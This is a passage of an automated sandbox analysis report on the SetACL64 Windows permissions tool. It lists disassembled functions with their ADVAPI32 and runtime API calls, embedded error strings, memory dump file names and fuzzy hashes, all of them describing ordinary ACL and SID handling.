API ID: _invalid_parameter_noinfo_noreturn$ConvertFreeLocalString
String ID:
API String ID: 347880976-0
Opcode ID: 7f36a04dbe1e1195e17bb9c4e0bc062f01be79f362d0442487ffcee1471e9626
Instruction ID: 9befd4124bf4c6640bcd574fdac55f4eb842aece975ea2331397945b316062a4
Opcode Fuzzy Hash: 7f36a04dbe1e1195e17bb9c4e0bc062f01be79f362d0442487ffcee1471e9626
Instruction Fuzzy Hash: 9D228262A18B8185FB009F65E4443ADA771FB493B8F905235DF9C13AAADFB8E194C710

Function 00007FF7C17221F7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172286A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722876
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172287C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722882
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1722888
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172288E

Strings

No domain specified., xrefs: 00007FF7C1722213
AddDomain, xrefs: 00007FF7C172223F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: AddDomain$No domain specified.
API String ID: 3668304517-2536513783
Opcode ID: 99e0925a6b9fdd9a5b0408bba0820a297a0d0a02d1bb6155b4d59c8334b4e1bd
Instruction ID: 55fe2b50eb823f61a816eafcc6fb1ac2f4d25cf078eacb59675a9f10a29598f7
Opcode Fuzzy Hash: 99e0925a6b9fdd9a5b0408bba0820a297a0d0a02d1bb6155b4d59c8334b4e1bd
Instruction Fuzzy Hash: 4451A372A5968691EB00AF6AE4883ADA322FB49764FC04531D74C039EBDFFCE191C710

Function 00007FF7C17149B0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 209COMMON

Download Yara Rule

APIs

VerQueryValueW.VERSION ref: 00007FF7C1714A5F
GetUserDefaultLangID.KERNEL32 ref: 00007FF7C1714B89
VerQueryValueW.VERSION ref: 00007FF7C1714C7D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714D12
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714D18
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714D1E

Strings

\VarFileInfo\Translation, xrefs: 00007FF7C1714A30
\StringFileInfo\%04X04B0\%s, xrefs: 00007FF7C1714B76
\StringFileInfo\%04x%04x\%s, xrefs: 00007FF7C1714A78

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$QueryValue$DefaultLangUser
String ID: \StringFileInfo\%04X04B0\%s$\StringFileInfo\%04x%04x\%s$\VarFileInfo\Translation
API String ID: 124864902-1470331934
Opcode ID: 84a91a20877e75cd1db0540d89d5f8e58374f05ff5f461cff2050a2cec5ccb81
Instruction ID: 421e474c93a9d9875181602c6c40b04230936b45dc19c26634a9de2dc3acf1d3
Opcode Fuzzy Hash: 84a91a20877e75cd1db0540d89d5f8e58374f05ff5f461cff2050a2cec5ccb81
Instruction Fuzzy Hash: 85917632A18B4180EB00DF59E4402AEB771FB897F4F905135EA9D03AAADFBCE195C710

Function 00007FF7C171A7F0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A859
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C171A8A4
_Getctype.LIBCPMT ref: 00007FF7C171A8BC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171A94C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A996
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A9BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171A9E5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171AA6E

Strings

bad locale name, xrefs: 00007FF7C171A96F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$GetctypeLocinfo::_Locinfo_ctor
String ID: bad locale name
API String ID: 249287498-1405518554
Opcode ID: 8bc982661b0ee05dfb2898125f394b4b40cc44dd271d2c8eedadb7c000856f72
Instruction ID: 8c13aebadedfb7450be25dd8ffba23062579612050c59f733781830f9930f6a9
Opcode Fuzzy Hash: 8bc982661b0ee05dfb2898125f394b4b40cc44dd271d2c8eedadb7c000856f72
Instruction Fuzzy Hash: D171AE23B09A8189FF11EF62D4502BCA3A4EF987A4F950035DE4D23B57DE78E5529320

Function 00007FF7C1736970 Relevance: 15.3, APIs: 10, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a5f5edd017b658e983cfd53b7e8145c4734415c703908048787467d75527855
Instruction ID: f3040ae8ae12fe1df8235986b33032111db139c402d8fe40c87bd1b87188df1b
Opcode Fuzzy Hash: 7a5f5edd017b658e983cfd53b7e8145c4734415c703908048787467d75527855
Instruction Fuzzy Hash: D4B1BF72A15B8189EB14DF66E8807AC73A5FB48BACF904035EF8C07A5ADF78D591C350

Function 00007FF7C1739830 Relevance: 15.2, APIs: 10, Instructions: 188COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32 ref: 00007FF7C173989B
GetLastError.KERNEL32 ref: 00007FF7C17398A5
GetAce.ADVAPI32 ref: 00007FF7C17398FA
EqualSid.ADVAPI32 ref: 00007FF7C1739949
DeleteAce.ADVAPI32 ref: 00007FF7C1739974
IsValidSid.ADVAPI32 ref: 00007FF7C173999F
GetLastError.KERNEL32 ref: 00007FF7C17399DA
IsValidSid.ADVAPI32 ref: 00007FF7C1739A31
GetLastError.KERNEL32 ref: 00007FF7C1739ADF
GetLastError.KERNEL32 ref: 00007FF7C1739AF2

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$Valid$DeleteEqualInformation
String ID:
API String ID: 439278688-0
Opcode ID: 02abaca1715827c988373279d1206fa39163a6e830349d42f3409750fdde2c61
Instruction ID: feea9ad6e99f519772ba9738613a96c4f5d79952b72619a49a58ab1b820dc90b
Opcode Fuzzy Hash: 02abaca1715827c988373279d1206fa39163a6e830349d42f3409750fdde2c61
Instruction Fuzzy Hash: FB815D22A0C68682EB60AF279544379A7A0FF8DB64FC44535CA8D87786DFBCE551C720

Function 00007FF7C1739B10 Relevance: 15.2, APIs: 10, Instructions: 168COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32 ref: 00007FF7C1739B9F

Part of subcall function 00007FF7C173EC20: IsValidSid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC37
Part of subcall function 00007FF7C173EC20: GetLengthSid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC44
Part of subcall function 00007FF7C173EC20: CopySid.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7C1740410), ref: 00007FF7C173EC68

IsValidSid.ADVAPI32 ref: 00007FF7C1739BC2
IsValidSid.ADVAPI32 ref: 00007FF7C1739BD4
EqualSid.ADVAPI32 ref: 00007FF7C1739BE5
IsValidSid.ADVAPI32 ref: 00007FF7C1739C1A
IsValidSid.ADVAPI32 ref: 00007FF7C1739C5A
IsValidSid.ADVAPI32 ref: 00007FF7C1739C7D
IsValidSid.ADVAPI32 ref: 00007FF7C1739C8F
EqualSid.ADVAPI32 ref: 00007FF7C1739CA0
IsValidSid.ADVAPI32 ref: 00007FF7C1739CD5

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Valid$Equal$CopyLength
String ID:
API String ID: 1685539899-0
Opcode ID: 3b1f6e0476a15e4dbeff593321d0a39690655f45c3396d74e8fe94f401111051
Instruction ID: 9113f38976875259ec1c862af1316e60dc1aa129d2bfbd9380b683084341d98e
Opcode Fuzzy Hash: 3b1f6e0476a15e4dbeff593321d0a39690655f45c3396d74e8fe94f401111051
Instruction Fuzzy Hash: BC616D22B0A64685EB55AF279654379A3E1BF89BE4FC90031DD4E47686EEACE440C320

Function 00007FF7C17150C0 Relevance: 14.5, APIs: 6, Strings: 2, Instructions: 468COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171570C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1715712
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1715718
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171571E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1715724
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1715787

Part of subcall function 00007FF7C1740C18: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1740C35
Part of subcall function 00007FF7C1740C18: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF7C1740C58
Part of subcall function 00007FF7C1740C18: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1740CF3

Strings

\\?\UNC\, xrefs: 00007FF7C17152A0
\\?\, xrefs: 00007FF7C171538D

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Lockitstd::_$Lockit::_Lockit::~_Setgloballocalestd::locale::_
String ID: \\?\$\\?\UNC\
API String ID: 3857612545-3019864461
Opcode ID: 80f86e82870b07e6d5627ecd3545ff3dece0f910a388d86736f9a77694643264
Instruction ID: bfe764db86b1c08f87988f2966ce7228f70c01b1cd3a03c8fa32392653cd2ad7
Opcode Fuzzy Hash: 80f86e82870b07e6d5627ecd3545ff3dece0f910a388d86736f9a77694643264
Instruction Fuzzy Hash: 7312D372B14A51C4FF08AF66E4443ADA362BB4ABA8FA16135CE1D177DACFBCD4448350

Function 00007FF7C1720CC0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 350COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17210F8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17210FE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1721104
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172110A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1721110
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17211F4

Strings

No trustee specified., xrefs: 00007FF7C1720D24
AddTrustee, xrefs: 00007FF7C1720D52

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: AddTrustee$No trustee specified.
API String ID: 3668304517-2850116058
Opcode ID: fb94bdf829771a45d73d4169ee65a2f39625c9cf73fdf6b67dd04f57a629b6a1
Instruction ID: d9f4019390d2f4c46ba8bd908713ea434f10f457af2e6d83c0a69bd80f6a2f7a
Opcode Fuzzy Hash: fb94bdf829771a45d73d4169ee65a2f39625c9cf73fdf6b67dd04f57a629b6a1
Instruction Fuzzy Hash: 60E19372B1878181EF04AF6AE4883ADA362FB497A4F904135D74C07AAADFBCD491C710

Function 00007FF7C1718C30 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 318COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C1718F2C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C1718F32
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C1718F38
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1718FAE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C1718FF6

Strings

false, xrefs: 00007FF7C1718D0E
true, xrefs: 00007FF7C1718DCA

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: false$true
API String ID: 164343898-2658103896
Opcode ID: f445c541dcabc8c76a2eb441bad9b69acf557a9bd182a87f89098410cebb741f
Instruction ID: 6889783ac5fc2becc3aa69e150598e7e5604bd008174e069bc44f92971c80407
Opcode Fuzzy Hash: f445c541dcabc8c76a2eb441bad9b69acf557a9bd182a87f89098410cebb741f
Instruction Fuzzy Hash: 5CD1AB22B19B4289EB10EF62D4402EDB3A5EF4C7A8F864135DE4C67B8ADF78D516C350

Function 00007FF7C1740320 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C17408C0: IsValidSid.ADVAPI32(?,?,?,00007FF7C174034D,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17408E2
Part of subcall function 00007FF7C17408C0: GetLengthSid.ADVAPI32(?,?,?,00007FF7C174034D,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17408F3

IsValidSid.ADVAPI32(?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C1740379
IsValidSid.ADVAPI32 ref: 00007FF7C174038C
EqualSid.ADVAPI32 ref: 00007FF7C174039D
IsValidSid.ADVAPI32(?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17403FE
IsValidSid.ADVAPI32(?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C1740549
IsValidSid.ADVAPI32 ref: 00007FF7C174055C
EqualSid.ADVAPI32 ref: 00007FF7C174056E

Strings

unordered_map/set too long, xrefs: 00007FF7C1740628

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Valid$Equal$Length
String ID: unordered_map/set too long
API String ID: 2183326427-306623848
Opcode ID: ad27f92fef91cd753ab91c311a8dad5f0718926ff1c6d6db717cf738553d2b84
Instruction ID: f76280d2646cf0c6112072f446cca3d44189008960575b39eaeeeafd4ff9e974
Opcode Fuzzy Hash: ad27f92fef91cd753ab91c311a8dad5f0718926ff1c6d6db717cf738553d2b84
Instruction Fuzzy Hash: 85A1AE22A09B4682EB50EF13E4487B9A3A4FF4CB94F984635DE8D47752DF7CE4608B50

Function 00007FF7C1767748 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 186COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7C17677A6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17678BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C176790A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17679EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1767A3B

Strings

SetACL finished with error(s): , xrefs: 00007FF7C1767771
SetACL error message: , xrefs: 00007FF7C17677FE
Operating system error message: , xrefs: 00007FF7C1767933

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString
String ID: Operating system error message: $SetACL error message: $SetACL finished with error(s):
API String ID: 498717675-3876775778
Opcode ID: 5ce873107c147e58fbec8a04b54c5fd4bfe3e96f955e4566f1b3ca94a313b483
Instruction ID: afdd5a752d12bc1daf07646c2e84a3abd955910958f16662f771c3a2debf063b
Opcode Fuzzy Hash: 5ce873107c147e58fbec8a04b54c5fd4bfe3e96f955e4566f1b3ca94a313b483
Instruction Fuzzy Hash: 7581C462A08BC689FB20AF36D8443ED6352FB59798FD08135D64C17A9BDFACD684C350

Function 00007FF7C17186B0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1718719
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C1718764
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C17187F4
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C1718846
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171886B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C1718895
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171891E

Strings

bad locale name, xrefs: 00007FF7C1718817

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_Locinfo_ctor
String ID: bad locale name
API String ID: 3718194943-1405518554
Opcode ID: 1a7bf999381c07af3242a3cc31933243c0f84e1edb9a9b3fcdc9fb87e6ad8860
Instruction ID: 0849a2c37a08c811f71f0adaab415e8717774aadec7b0b7e7088f0c213da54a5
Opcode Fuzzy Hash: 1a7bf999381c07af3242a3cc31933243c0f84e1edb9a9b3fcdc9fb87e6ad8860
Instruction Fuzzy Hash: 0761AE22B19A4189FB10FF62D4402FCB3A4EF987A8F990035DE4D53A56CEB8E521D324

Function 00007FF7C1714D30 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32 ref: 00007FF7C1714D91
GetLastError.KERNEL32 ref: 00007FF7C1714D9F

Part of subcall function 00007FF7C171BF60: GetLastError.KERNEL32 ref: 00007FF7C171BFCE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714F9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714FA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714FA7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1714FAD

Strings

GetComputerNameAPIWrapper, xrefs: 00007FF7C1714E0F
Querying the computer name failed with: , xrefs: 00007FF7C1714DBD

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLast$ComputerName
String ID: GetComputerNameAPIWrapper$Querying the computer name failed with:
API String ID: 3471954800-1594087890
Opcode ID: 065ba2d2fcd18019d0079e83448bdb250b984e5464f0ba45951be90b2cb0b2c0
Instruction ID: 734bf4d958dcb1f4b17e2f91e8c671321423a1afe857324a302b70680769e869
Opcode Fuzzy Hash: 065ba2d2fcd18019d0079e83448bdb250b984e5464f0ba45951be90b2cb0b2c0
Instruction Fuzzy Hash: 6551A822A1878241EB10AF26E4443ADA361EB8D7B4F915335EA5D43BDADFBCD094C710

Function 00007FF7C17641C8 Relevance: 13.8, APIs: 9, Instructions: 273fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1763EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1763F39
Part of subcall function 00007FF7C1763EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1763FB9
Part of subcall function 00007FF7C1763EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C176400D
Part of subcall function 00007FF7C1763EF8: _get_daylight.LIBCMT ref: 00007FF7C1764065

CreateFileW.KERNEL32 ref: 00007FF7C17642CE
CreateFileW.KERNEL32 ref: 00007FF7C176431E
GetLastError.KERNEL32 ref: 00007FF7C176434E
GetFileType.KERNEL32 ref: 00007FF7C1764363
GetLastError.KERNEL32 ref: 00007FF7C176436D
CloseHandle.KERNEL32 ref: 00007FF7C17643A0
CloseHandle.KERNEL32 ref: 00007FF7C17644FB
CreateFileW.KERNEL32 ref: 00007FF7C1764530
GetLastError.KERNEL32 ref: 00007FF7C176453F

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

